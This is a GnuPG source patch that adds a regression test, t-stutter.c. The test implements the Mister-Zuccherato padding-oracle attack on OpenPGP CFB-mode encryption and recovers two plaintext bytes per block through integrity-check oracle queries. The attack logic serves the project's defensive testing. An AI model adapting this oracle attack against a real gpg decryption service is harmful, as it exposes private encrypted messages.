From b17577eac6b7599a4bab6fd3ecb04715aa01367c Mon Sep 17 00:00:00 2001 From: "Neal H. Walfield" Date: Tue, 8 Mar 2016 14:08:15 +0100 Subject: [PATCH] gpg: Add a new test. * g10/Makefile.am (EXTRA_DIST): Add t-stutter-data.asc. (module_tests): Add t-stutter. (t_stutter_SOURCES): New variable. (t_stutter_LDADD): New variable. -- Signed-off-by: Neal H. Walfield Add a test to check that the Mister and Zuccerato attack described in "An Attack on CFB Mode Encryption As Used by OpenPGP" works. --- g10/Makefile.am | 8 +- g10/t-stutter-data.asc | 1 + g10/t-stutter.c | 609 +++++++++++++++++++++++++++++++++++++++++ 3 files changed, 616 insertions(+), 2 deletions(-) create mode 100644 g10/t-stutter-data.asc create mode 100644 g10/t-stutter.c diff --git a/g10/Makefile.am b/g10/Makefile.am index 27333def8..473a3ac99 100644 --- a/g10/Makefile.am +++ b/g10/Makefile.am @@ -21,7 +21,7 @@ EXTRA_DIST = options.skel dirmngr-conf.skel distsigkey.gpg \ ChangeLog-2011 gpg-w32info.rc \ gpg.w32-manifest.in test.c t-keydb-keyring.kbx \ - t-keydb-get-keyblock.gpg + t-keydb-get-keyblock.gpg t-stutter-data.asc AM_CPPFLAGS = -I$(top_srcdir)/common @@ -166,7 +166,7 @@ gpgcompose_LDADD = $(LDADD) $(SQLITE3_LIBS) $(LIBGCRYPT_LIBS) $(LIBREADLINE) \ gpgcompose_LDFLAGS = $(extra_bin_ldflags) t_common_ldadd = -module_tests = t-rmd160 t-keydb t-keydb-get-keyblock +module_tests = t-rmd160 t-keydb t-keydb-get-keyblock t-stutter t_rmd160_SOURCES = t-rmd160.c rmd160.c t_rmd160_LDADD = $(t_common_ldadd) t_keydb_SOURCES = t-keydb.c test-stubs.c $(common_source) @@ -176,6 +176,10 @@ t_keydb_get_keyblock_SOURCES = t-keydb-get-keyblock.c test-stubs.c \ $(common_source) t_keydb_get_keyblock_LDADD = $(LDADD) $(LIBGCRYPT_LIBS) $(GPG_ERROR_LIBS) \ $(LIBICONV) $(t_common_ldadd) +t_stutter_SOURCES = t-stutter.c test-stubs.c \ + $(common_source) +t_stutter_LDADD = $(LDADD) $(LIBGCRYPT_LIBS) $(GPG_ERROR_LIBS) \ + $(LIBICONV) $(t_common_ldadd) $(PROGRAMS): $(needed_libs) ../common/libgpgrl.a diff --git a/g10/t-stutter-data.asc b/g10/t-stutter-data.asc new file mode 100644 index 000000000..ad8bfaed7 --- /dev/null +++ b/g10/t-stutter-data.asc @@ -0,0 +1 @@ +?q`Hh VxDI23O*GyIal{ew{Bc1B \ No newline at end of file diff --git a/g10/t-stutter.c b/g10/t-stutter.c new file mode 100644 index 000000000..8bdfb07ea --- /dev/null +++ b/g10/t-stutter.c @@ -0,0 +1,609 @@ +/* t-stutter.c - Test the stutter exploit. + * Copyright (C) 2016 g10 Code GmbH + * + * This file is part of GnuPG. + * + * GnuPG is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * GnuPG is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, see . + */ + +/* This test is based on the paper: "An Attack on CFB Mode Encryption + * as Used by OpenPGP." This attack uses a padding oracle to decrypt + * the first two bytes of each block (which are normally 16 bytes + * large). Concretely, if an attacker can use this attack if it can + * sense whether the quick integrity check failed. See RFC 4880, + * Section 5.7 for an explanation of this quick check. + * + * The concrete attack, as described in the paper, only works for + * PKT_ENCRYPTED packets; it does not work for PKT_ENCRYPTED_MDC + * packets, which use a slightly different CFB mode (they don't + * include a sync after the IV). But, small modifications should + * allow the attack to work for PKT_ENCRYPTED_MDC packets. + * + * The cost of this attack is 2^15 + i * 2^15 oracle queries, where i + * is the number of blocks the attack wants to decrypt. This attack + * is completely unfeasible when gpg is used interactively, but it + * could work when used as a service. + * + * How to generate a test message: + * + * $ echo 0123456789abcdefghijklmnopqrstuvwxyz | gpg2 --disable-mdc -z 0 -c > msg.asc + * $ gpg2 --list-packets msg.asc + * # Make sure the encryption packet contains a literal packet (without + * # any nesting). + * $ gpgsplit msg.asc + * $ gpg2 --show-session-key -d msg.asc + * $ ./t-stutter --debug SESSION_KEY 000002-009.encrypted + */ + +#include +#include +#include + +#include "gpg.h" +#include "main.h" +#include "../common/types.h" +#include "util.h" +#include "dek.h" +#include "../common/logging.h" + +static void +log_hexdump (byte *buffer, int length) +{ + int written = 0; + + fprintf (stderr, "%d bytes:\n", length); + while (length > 0) + { + int have = length > 16 ? 16 : length; + int i; + char formatted[2 * have + 1]; + char text[have + 1]; + + fprintf (stderr, "%-8d ", written); + bin2hex (buffer, have, formatted); + for (i = 0; i < 16; i ++) + { + if (i % 2 == 0) + fputc (' ', stderr); + if (i % 8 == 0) + fputc (' ', stderr); + + if (i < have) + fwrite (&formatted[2 * i], 2, 1, stderr); + else + fwrite (" ", 2, 1, stderr); + } + + for (i = 0; i < have; i ++) + if (isprint (buffer[i])) + text[i] = buffer[i]; + else + text[i] = '.'; + text[i] = 0; + + fprintf (stderr, " "); + if (strlen (text) > 8) + { + fwrite (text, 8, 1, stderr); + fputc (' ', stderr); + fwrite (&text[8], strlen (text) - 8, 1, stderr); + } + else + fwrite (text, strlen (text), 1, stderr); + fputc ('\n', stderr); + + buffer += have; + length -= have; + written += have; + } + + return; +} + +static char * +hexstr (const byte *bytes) +{ + static int i; + static char bufs[100][7]; + + i ++; + if (i == 100) + i = 0; + + sprintf (bufs[i], "0x%02X%02X", bytes[0], bytes[1]); + return bufs[i]; +} + +/* xor the two bytes starting at A with the two bytes starting at B + and return the result. */ +static byte * +bufxor2 (const byte *a, const byte *b) +{ + static int i; + static char bufs[100][2]; + + i ++; + if (i == 100) + i = 0; + + bufs[i][0] = a[0] ^ b[0]; + bufs[i][1] = a[1] ^ b[1]; + return bufs[i]; +} + +/* The session key stays constant. */ +static DEK dek; +int blocksize; + +/* Decode the session key, which is in the format output by gpg + --show-session-key. */ +static void +parse_session_key (char *session_key) +{ + char *tail; + char *p = session_key; + + errno = 0; + dek.algo = strtol (p, &tail, 10); + if (errno || (tail && *tail != ':')) + log_fatal ("Invalid session key specification. " + "Expected: cipher-id:HEXADECIMAL-CHRACTERS\n"); + + /* Skip the ':'. */ + p = tail + 1; + + if (strlen (p) % 2 != 0) + log_fatal ("Session key must consist of an even number of hexadecimal characters.\n"); + + dek.keylen = strlen (p) / 2; + log_assert (dek.keylen <= sizeof (dek.key)); + + if (hex2bin (p, dek.key, dek.keylen) == -1) + log_fatal ("Session key must only contain hexadecimal characters\n"); + + blocksize = openpgp_cipher_get_algo_blklen (dek.algo); + if ( !blocksize || blocksize > 16 ) + log_fatal ("unsupported blocksize %u\n", blocksize ); + + return; +} + +/* The ciphertext, the plaintext as decrypted by the good session key, + and the cfb stream (derived from the ciphertext and the + plaintext). */ +static int msg_len; +static byte *msg; +static byte *msg_plaintext; +static byte *msg_cfb; + +/* Whether we need to resynchronize the CFB after writing the random + data (this is the case for encrypted packets, but not encrypted and + integrity protected packets). */ +static int sync; + +static int +block_offset (int i) +{ + int extra = 0; + + log_assert (i >= 1); + /* Make sure blocksize has been initialized. */ + log_assert (blocksize); + + if (i > 2) + { + i -= 2; + extra = blocksize + 2; + } + return (i - 1) * blocksize + extra; +} + +/* Return the ith block from TEXT. The first block is labeled 1. + Note: consistent with the OpenPGP message format, the second block + (i=2) is just 2 bytes. */ +static byte * +block (byte *text, int len, int i) +{ + int offset = block_offset (i); + + log_assert (offset < len); + return &text[offset]; +} + +/* Return true if the quick integrity check passes. Also, if + PLAINTEXTP is not NULL, return the decrypted plaintext in + *PLAINTEXTP. If CFBP is not NULL, return the CFB byte stream in + *CFBP. */ +static int +oracle (int debug, byte *ciphertext, int len, byte **plaintextp, byte **cfbp) +{ + int rc = 0; + unsigned nprefix; + gcry_cipher_hd_t cipher_hd = NULL; + byte *plaintext = NULL; + byte *cfb = NULL; + + /* Make sure DEK was initialized. */ + log_assert (dek.algo); + log_assert (dek.keylen); + log_assert (blocksize); + + nprefix = blocksize; + if (len < nprefix + 2) + { + /* An invalid message. We can't check that during parsing + because we may not know the used cipher then. */ + rc = gpg_error (GPG_ERR_INV_PACKET); + goto leave; + } + + rc = openpgp_cipher_open (&cipher_hd, dek.algo, + GCRY_CIPHER_MODE_CFB, + (! sync /* ed->mdc_method || dek.algo >= 100 */ ? + 0 : GCRY_CIPHER_ENABLE_SYNC)); + if (rc) + log_fatal ("Failed to open cipher: %s\n", gpg_strerror (rc)); + + rc = gcry_cipher_setkey (cipher_hd, dek.key, dek.keylen); + if (gpg_err_code (rc) == GPG_ERR_WEAK_KEY) + { + log_info ("WARNING: message was encrypted with" + " a weak key in the symmetric cipher.\n"); + rc=0; + } + else if( rc ) + log_fatal ("key setup failed: %s\n", gpg_strerror (rc)); + + gcry_cipher_setiv (cipher_hd, NULL, 0); + + if (debug) + { + log_debug ("Encrypted data:\n"); + log_hexdump(ciphertext, len); + } + plaintext = xmalloc_clear (len); + gcry_cipher_decrypt (cipher_hd, plaintext, blocksize + 2, + ciphertext, blocksize + 2); + gcry_cipher_sync (cipher_hd); + if (len > blocksize+2) + gcry_cipher_decrypt (cipher_hd, + &plaintext[blocksize+2], len-(blocksize+2), + &ciphertext[blocksize+2], len-(blocksize+2)); + + if (debug) + { + log_debug ("Decrypted data:\n"); + log_hexdump (plaintext, len); + log_debug ("R_{b-1,b} = %s\n", hexstr (&plaintext[blocksize - 2])); + log_debug ("R_{b+1,b+2} = %s\n", hexstr (&plaintext[blocksize])); + } + + if (cfbp || debug) + { + int i; + cfb = xmalloc (len); + for (i = 0; i < len; i ++) + cfb[i] = plaintext[i] ^ ciphertext[i]; + + log_assert (len >= blocksize + 2); + + if (debug) + { + log_debug ("cfb:\n"); + log_hexdump (cfb, len); + + log_debug ("E_k([C_1]_{1,2}) = C_2 xor R (%s xor %s) = %s\n", + hexstr (&ciphertext[blocksize]), + hexstr (&plaintext[blocksize]), + hexstr (bufxor2 (&ciphertext[blocksize], + &plaintext[blocksize]))); + if (len >= blocksize + 4) + log_debug ("D = Ek([C1]_{3-b} || C_2)_{1-2} (%s) xor C2 (%s) xor E_k(0)_{b-1,b} (%s) = %s\n", + hexstr (&cfb[blocksize + 2]), + hexstr (&ciphertext[blocksize]), + hexstr (&cfb[blocksize - 2]), + hexstr (bufxor2 (bufxor2 (&cfb[blocksize + 2], + &ciphertext[blocksize]), + &cfb[blocksize - 2]))); + } + } + + if (plaintext[nprefix-2] != plaintext[nprefix] + || plaintext[nprefix-1] != plaintext[nprefix+1]) + { + rc = gpg_error (GPG_ERR_BAD_KEY); + goto leave; + } + + leave: + if (! rc && plaintextp) + *plaintextp = plaintext; + else + xfree (plaintext); + + if (! rc && cfbp) + *cfbp = cfb; + else + xfree (cfb); + + if (cipher_hd) + gcry_cipher_close (cipher_hd); + return rc; +} + +/* Query the oracle with D=D for block B. */ +static int +oracle_test (unsigned int d, int b, int debug) +{ + byte probe[blocksize + 2]; + + log_assert (d < 256 * 256); + + if (b == 1) + memcpy (probe, &msg[2], blocksize); + else + memcpy (probe, block (msg, msg_len, b), blocksize); + + probe[blocksize] = d >> 8; + probe[blocksize + 1] = d & 0xff; + + if (debug) + log_debug ("oracle (0x%04X):\n", d); + + return oracle (debug, probe, blocksize + 2, NULL, NULL) == 0; +} + +int +main (int argc, char *argv[]) +{ + int i; + int debug = 0; + char *filename = NULL; + int help = 0; + + byte *raw_data; + int raw_data_len; + + int failed = 0; + + for (i = 1; i < argc; i ++) + { + if (strcmp (argv[i], "--debug") == 0) + debug = 1; + else if (! blocksize) + parse_session_key (argv[i]); + else if (! filename) + filename = argv[i]; + else + { + help = 1; + break; + } + } + + if (! blocksize && ! filename && (filename = getenv ("srcdir"))) + /* Try defaults. */ + { + parse_session_key ("9:9274A8EC128E850C6DDDF9EAC68BFA84FC7BC05F340DA41D78C93D0640C7C503"); + filename = xasprintf ("%s/t-stutter-data.asc", filename); + } + + if (help || ! blocksize || ! filename) + log_fatal ("Usage: %s [--debug] SESSION_KEY ENCRYPTED_PKT\n", argv[0]); + + /* Don't read more than a KB. */ + raw_data_len = 1024; + raw_data = xmalloc (raw_data_len); + + { + FILE *fp; + int r; + + fp = fopen (filename, "r"); + if (! fp) + log_fatal ("Opening %s: %s\n", filename, strerror (errno)); + r = fread (raw_data, 1, raw_data_len, fp); + fclose (fp); + + /* We need at least the random data, the encrypted and literal + packets' headers and some body. */ + if (r < (blocksize + 2 /* Random data. */ + + 2 * blocksize /* Header + some plaintext. */)) + log_fatal ("Not enough data (need at least %d bytes of plain text): %s.\n", + blocksize + 2, strerror (errno)); + raw_data_len = r; + + if (debug) + { + log_debug ("First few bytes of the raw data:\n"); + log_hexdump (raw_data, raw_data_len > 8 ? 8 : raw_data_len); + } + } + + /* Parse the packet's header. */ + { + int ctb = raw_data[0]; + int new_format = ctb & (1 << 7); + int pkttype = (ctb & ((1 << 5) - 1)) >> (new_format ? 0 : 2); + int hdrlen; + + if (new_format) + { + if (debug) + log_debug ("len encoded: 0x%x (%d)\n", raw_data[1], raw_data[1]); + if (raw_data[1] < 192) + hdrlen = 2; + else if (raw_data[1] < 224) + hdrlen = 3; + else if (raw_data[1] == 255) + hdrlen = 5; + else + hdrlen = 2; + } + else + { + int lentype = ctb & 0x3; + if (lentype == 0) + hdrlen = 2; + else if (lentype == 1) + hdrlen = 3; + else if (lentype == 2) + hdrlen = 5; + else + /* Indeterminate. */ + hdrlen = 1; + } + + if (debug) + log_debug ("ctb = %x; %s format, hdrlen: %d, packet: %s\n", + ctb, new_format ? "new" : "old", + hdrlen, + pkttype_str (pkttype)); + + if (! (pkttype == PKT_ENCRYPTED || pkttype == PKT_ENCRYPTED_MDC)) + log_fatal ("%s does not contain an encrypted packet, but a %s.\n", + filename, pkttype_str (pkttype)); + + if (pkttype == PKT_ENCRYPTED_MDC) + { + /* The first byte following the header is the version, which + is 1. */ + log_assert (raw_data[hdrlen] == 1); + hdrlen ++; + sync = 0; + } + else + sync = 1; + + msg = &raw_data[hdrlen]; + msg_len = raw_data_len - hdrlen; + } + + log_assert (msg_len >= blocksize + 2); + + { + /* This can at least partially be guessed. So we just assume that + it is known. */ + int d; + int found; + const byte *m1; + byte e_k_zero[2]; + + if (oracle (debug, msg, msg_len, &msg_plaintext, &msg_cfb) == 0) + { + if (debug) + log_debug ("Session key appears to be good.\n"); + } + else + log_fatal ("Session key is bad!\n"); + + m1 = &msg_plaintext[blocksize + 2]; + if (debug) + log_debug ("First two bytes of plaintext are: %02X (%c) %02X (%c)\n", + m1[0], isprint (m1[0]) ? m1[0] : '?', + m1[1], isprint (m1[1]) ? m1[1] : '?'); + + for (d = 0; d < 256 * 256; d ++) + if ((found = oracle_test (d, 1, 0))) + break; + + if (! found) + log_fatal ("Failed to find d!\n"); + + if (debug) + oracle_test (d, 1, 1); + + if (debug) + log_debug ("D = %d (%x) looks good.\n", d, d); + + { + byte *c2 = block (msg, msg_len, 2); + byte D[2] = { d >> 8, d & 0xFF }; + byte *c3 = block (msg, msg_len, 3); + + memcpy (e_k_zero, + bufxor2 (bufxor2 (c2, D), + bufxor2 (c3, m1)), + sizeof (e_k_zero)); + + if (debug) + { + log_debug ("C2 = %s\n", hexstr (c2)); + log_debug ("D = %s\n", hexstr (D)); + log_debug ("C3 = %s\n", hexstr (c3)); + log_debug ("M = %s\n", hexstr (m1)); + log_debug ("E_k([C1]_{3-b} || C_2) = C3 xor M1 = %s\n", + hexstr (bufxor2 (c3, m1))); + log_debug ("E_k(0)_{b-1,b} = %s\n", hexstr (e_k_zero)); + } + } + + /* Figure out the first 2 bytes of M2... (offset 16 & 17 of the + plain text assuming the blocksize == 16 or bytes 34 & 35 of the + decrypted cipher text, i.e., C4). */ + for (i = 1; block_offset (i + 3) + 2 <= msg_len; i ++) + { + byte e_k_prime[2]; + byte m[2]; + byte *ct = block (msg, msg_len, i + 2); + byte *pt = block (msg_plaintext, msg_len, 2 + i + 1); + + for (d = 0; d < 256 * 256; d ++) + if (oracle_test (d, i + 2, 0)) + { + found = 1; + break; + } + + if (! found) + log_fatal ("Failed to find a valid d for block %d\n", i); + + if (debug) + log_debug ("Block %d: oracle: D = %04X passes integrity check\n", + i, d); + + { + byte D[2] = { d >> 8, d & 0xFF }; + memcpy (e_k_prime, + bufxor2 (bufxor2 (&ct[blocksize - 2], D), e_k_zero), + sizeof (e_k_prime)); + + memcpy (m, bufxor2 (e_k_prime, block (msg, msg_len, i + 3)), + sizeof (m)); + } + + if (debug) + log_debug ("=> block %d starting at %zd starts with: " + "%s (%c%c)\n", + i, (size_t) pt - (size_t) msg_plaintext, + hexstr (m), + isprint (m[0]) ? m[0] : '?', isprint (m[1]) ? m[1] : '?'); + + if (m[0] != pt[0] || m[1] != pt[1]) + { + log_debug ("oracle attack failed! Expected %s (%c%c), got %s\n", + hexstr (pt), + isprint (pt[0]) ? pt[0] : '?', + isprint (pt[1]) ? pt[1] : '?', + hexstr (m)); + failed = 1; + } + } + + if (i == 1) + log_fatal ("Message is too short, nothing to test.\n"); + } + + return failed; +}